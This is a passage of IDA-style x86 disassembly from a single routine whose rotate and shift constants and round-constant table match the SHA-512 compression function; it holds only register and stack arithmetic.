		mov	ecx, [esp+170h+var_154]
		not	ebx
		and	ebx, [esp+170h+var_11C]
		not	edi
		and	edi, [esp+170h+var_120]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA30[eax*8]
		adc	esi, ds:dword_41FA34[eax*8]
		add	edx, [esp+170h+var_48]
		mov	eax, [esp+170h+var_158]
		adc	esi, [esp+170h+var_44]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_138], eax
		mov	[esp+170h+var_154], ecx
		mov	[esp+170h+var_158], eax
		adc	[esp+170h+var_134], ecx
		mov	ecx, [esp+170h+var_150]
		mov	eax, [esp+170h+var_14C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_150]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		shl	ebx, 19h
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edx, edx
		or	edx, ebp
		xor	edi, ecx
		mov	ecx, [esp+170h+var_150]
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		mov	ebx, ecx
		xor	ebx, edx
		and	ebx, [esp+170h+var_148]
		mov	ebp, eax
		xor	ebp, [esp+170h+var_13C]
		and	eax, [esp+170h+var_13C]
		and	ebp, [esp+170h+var_144]
		and	ecx, edx
		xor	ebx, ecx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_158], edi
		adc	[esp+170h+var_154], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_41608B
		mov	eax, [esp+170h+var_D8]
		mov	ecx, [esp+170h+var_D4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_D4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_F0]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_EC]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_F0]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_EC]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_C8]
		adc	edx, [esp+170h+var_C4]
		add	ecx, [esp+170h+var_110]
		adc	edx, [esp+170h+var_10C]
		mov	[eax+90h], ecx
		mov	[eax+94h], edx
		mov	eax, edx
		mov	[esp+170h+var_C8], ecx
		mov	[esp+170h+var_C4], eax
		mov	[esp+170h+var_80], ecx
		jmp	short loc_4160A0
; ---------------------------------------------------------------------------

loc_41608B:				; CODE XREF: sub_414BC0+13D4j
		mov	edx, [esp+170h+var_C8]
		mov	eax, [esp+170h+var_C4]
		mov	[esp+170h+var_80], edx

loc_4160A0:				; CODE XREF: sub_414BC0+14C9j
		mov	ecx, [esp+170h+var_134]
		mov	ebx, ecx
		mov	[esp+170h+var_7C], eax
		mov	eax, [esp+170h+var_138]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_134]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_130]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_134]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_12C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_11C]
		not	ebx
		and	ebx, [esp+170h+var_124]
		not	edi
		and	edi, [esp+170h+var_128]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA38[eax*8]
		adc	esi, ds:dword_41FA3C[eax*8]
		add	edx, [esp+170h+var_80]
		mov	eax, [esp+170h+var_120]
		adc	esi, [esp+170h+var_7C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_140], eax
		mov	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_120], eax
		adc	[esp+170h+var_13C], ecx
		mov	ecx, [esp+170h+var_158]
		mov	eax, [esp+170h+var_154]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_158]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_14C]
		shl	ebx, 19h
		xor	esi, edx
		mov	edx, [esp+170h+var_150]
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_158]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_148]
		and	edx, ecx
		mov	ecx, [esp+170h+var_14C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_144]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_120], edi
		adc	[esp+170h+var_11C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_4162D1
		mov	eax, [esp+170h+var_E8]
		mov	ecx, [esp+170h+var_E4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_E4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_118]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_114]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_118]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_114]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_108]
		adc	edx, [esp+170h+var_104]
		add	ecx, [esp+170h+var_F0]
		adc	edx, [esp+170h+var_EC]
		mov	[eax+98h], ecx
		mov	[eax+9Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_F0], ecx
		mov	[esp+170h+var_EC], eax
		mov	[esp+170h+var_78], ecx
		jmp	short loc_4162E6
; ---------------------------------------------------------------------------

loc_4162D1:				; CODE XREF: sub_414BC0+1626j
		mov	edx, [esp+170h+var_F0]
		mov	eax, [esp+170h+var_EC]
		mov	[esp+170h+var_78], edx

loc_4162E6:				; CODE XREF: sub_414BC0+170Fj
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	[esp+170h+var_74], eax
		mov	eax, [esp+170h+var_140]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_134]
		mov	edi, eax
		and	eax, [esp+170h+var_138]
		not	ebx
		and	ebx, [esp+170h+var_12C]
		not	edi
		and	edi, [esp+170h+var_130]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA40[eax*8]
		adc	esi, ds:dword_41FA44[eax*8]
		add	edx, [esp+170h+var_78]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_74]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_148], eax
		mov	[esp+170h+var_124], ecx
		mov	[esp+170h+var_128], eax
		adc	[esp+170h+var_144], ecx
		mov	eax, [esp+170h+var_11C]
		mov	ecx, [esp+170h+var_120]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_120]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_154]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_158]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_120]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_150]
		and	edx, ecx
		mov	ecx, [esp+170h+var_154]
		xor	ebp, eax
		and	ebp, [esp+170h+var_14C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_128], edi
		adc	[esp+170h+var_124], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_416519
		mov	eax, [esp+170h+var_C8]
		mov	ecx, [esp+170h+var_C4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_C4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_F8]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_F4]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_F8]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_F4]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_B8]
		adc	edx, [esp+170h+var_B4]
		add	ecx, [esp+170h+var_E8]
		adc	edx, [esp+170h+var_E4]
		mov	[eax+0A0h], ecx
		mov	[eax+0A4h], edx
		mov	eax, edx
		mov	[esp+170h+var_E8], ecx
		mov	[esp+170h+var_E4], eax
		mov	[esp+170h+var_68], ecx
		jmp	short loc_41652E
; ---------------------------------------------------------------------------

loc_416519:				; CODE XREF: sub_414BC0+1868j
		mov	edx, [esp+170h+var_E8]
		mov	eax, [esp+170h+var_E4]
		mov	[esp+170h+var_68], edx

loc_41652E:				; CODE XREF: sub_414BC0+1957j
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		mov	[esp+170h+var_64], eax
		mov	eax, [esp+170h+var_148]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_144]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_144]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_13C]
		mov	edi, eax
		and	eax, [esp+170h+var_140]
		not	ebx
		and	ebx, [esp+170h+var_134]
		not	edi
		and	edi, [esp+170h+var_138]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_12C]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA48[eax*8]
		adc	esi, ds:dword_41FA4C[eax*8]
		add	edx, [esp+170h+var_68]
		mov	eax, [esp+170h+var_130]
		adc	esi, [esp+170h+var_64]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_150], eax
		mov	[esp+170h+var_12C], ecx
		mov	[esp+170h+var_130], eax
		adc	[esp+170h+var_14C], ecx
		mov	eax, [esp+170h+var_124]
		mov	ecx, [esp+170h+var_128]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_128]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_11C]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_120]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_128]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_158]
		and	edx, ecx
		mov	ecx, [esp+170h+var_11C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_154]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_130], edi
		adc	[esp+170h+var_12C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_416761
		mov	eax, [esp+170h+var_B0]
		mov	ecx, [esp+170h+var_AC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_AC]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_F0]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_EC]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_F0]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_EC]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_A8]
		adc	edx, [esp+170h+var_A4]
		add	ecx, [esp+170h+var_F8]
		adc	edx, [esp+170h+var_F4]
		mov	[eax+0A8h], ecx
		mov	[eax+0ACh], edx
		mov	eax, edx
		mov	[esp+170h+var_F8], ecx
		mov	[esp+170h+var_F4], eax
		mov	[esp+170h+var_50], ecx
		jmp	short loc_416770
; ---------------------------------------------------------------------------

loc_416761:				; CODE XREF: sub_414BC0+1AB0j
		mov	edx, [esp+170h+var_F8]
		mov	eax, [esp+170h+var_F4]
		mov	[esp+170h+var_50], edx

loc_416770:				; CODE XREF: sub_414BC0+1B9Fj
		mov	ecx, [esp+170h+var_14C]
		mov	ebx, ecx
		mov	[esp+170h+var_4C], eax
		mov	eax, [esp+170h+var_150]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_14C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_148]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_14C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_144]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_134]
		not	ebx
		and	ebx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_140]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA50[eax*8]
		adc	esi, ds:dword_41FA54[eax*8]
		add	edx, [esp+170h+var_50]
		mov	eax, [esp+170h+var_138]
		adc	esi, [esp+170h+var_4C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_158], eax
		mov	[esp+170h+var_134], ecx
		mov	[esp+170h+var_138], eax
		adc	[esp+170h+var_154], ecx
		mov	ecx, [esp+170h+var_130]
		mov	eax, [esp+170h+var_12C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_130]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_124]
		shl	ebx, 19h
		xor	esi, edx
		mov	edx, [esp+170h+var_128]
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_130]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_120]
		and	edx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	ebp, eax
		and	ebp, [esp+170h+var_11C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_138], edi
		adc	[esp+170h+var_134], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_4169B3
		mov	eax, [esp+170h+var_C0]
		mov	ecx, [esp+170h+var_BC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_BC]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_E8]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_E4]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_E8]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_E4]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D0]
		adc	edx, [esp+170h+var_CC]
		add	ecx, [esp+170h+var_B0]
		adc	edx, [esp+170h+var_AC]
		mov	[eax+0B0h], ecx
		mov	[eax+0B4h], edx
		mov	eax, edx
		mov	[esp+170h+var_B0], ecx
		mov	[esp+170h+var_AC], eax
		mov	[esp+170h+var_40], ecx
		jmp	short loc_4169C8
; ---------------------------------------------------------------------------

loc_4169B3:				; CODE XREF: sub_414BC0+1CF6j
		mov	edx, [esp+170h+var_B0]
		mov	eax, [esp+170h+var_AC]
		mov	[esp+170h+var_40], edx

loc_4169C8:				; CODE XREF: sub_414BC0+1DF1j
		mov	ecx, [esp+170h+var_154]
		mov	[esp+170h+var_3C], eax
		mov	eax, [esp+170h+var_158]
		mov	ebx, ecx
		xor	esi, esi
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		mov	edx, ecx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		xor	ebx, ebx
		or	ebx, ebp
		mov	ebp, [esp+170h+var_154]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		shr	ebp, 0Eh
		or	ecx, ebp
		mov	ebp, [esp+170h+var_150]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_154]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_14C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_144]
		xor	edi, ebp
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA58[eax*8]
		mov	edi, [esp+170h+var_12C]
		adc	esi, ds:dword_41FA5C[eax*8]
		add	edx, [esp+170h+var_40]
		mov	eax, [esp+170h+var_140]
		adc	esi, [esp+170h+var_3C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_120], eax
		mov	esi, [esp+170h+var_130]
		mov	[esp+170h+var_140], eax
		adc	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_13C], ecx
		mov	ecx, [esp+170h+var_138]
		mov	eax, esi
		xor	eax, ecx
		mov	[esp+170h+var_98], eax
		mov	eax, [esp+170h+var_134]
		mov	edx, edi
		xor	edx, eax
		mov	[esp+170h+var_94], edx
		mov	edx, esi
		and	edx, ecx
		mov	[esp+170h+var_90], edx
		mov	edx, edi
		and	edx, eax
		mov	[esp+170h+var_8C], edx
		mov	edx, ecx
		xor	esi, esi
		shl	edx, 4
		mov	edi, ecx
		mov	ebx, eax
		shrd	edi, ebx, 1Ch
		shr	ebx, 1Ch
		or	edx, ebx
		or	esi, edi
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	ebx, ebx
		shl	ecx, 1Eh
		or	ebx, ebp
		mov	edi, eax
		xor	edx, ebx
		mov	ebx, [esp+170h+var_138]
		shr	edi, 2
		or	edi, ecx
		mov	ecx, eax
		shld	eax, ebx, 19h
		xor	esi, edi
		shr	ecx, 7
		xor	edi, edi
		or	edi, eax
		mov	eax, [esp+170h+var_98]
		and	eax, [esp+170h+var_128]
		shl	ebx, 19h
		xor	eax, [esp+170h+var_90]
		or	ecx, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_94]
		and	ecx, [esp+170h+var_124]
		xor	edx, edi
		xor	ecx, [esp+170h+var_8C]
		add	esi, eax
		adc	edx, ecx
		add	[esp+170h+var_140], esi
		adc	[esp+170h+var_13C], edx
		cmp	[esp+170h+var_15C], 0
		jz	loc_416C2F
		mov	eax, [esp+170h+var_A0]
		mov	ecx, [esp+170h+var_9C]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_9C]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_F8]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_F4]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_F8]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_F4]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D8]
		adc	edx, [esp+170h+var_D4]
		add	ecx, [esp+170h+var_C0]
		adc	edx, [esp+170h+var_BC]
		mov	[eax+0B8h], ecx
		mov	[eax+0BCh], edx
		mov	eax, edx
		mov	[esp+170h+var_C0], ecx
		mov	[esp+170h+var_BC], eax
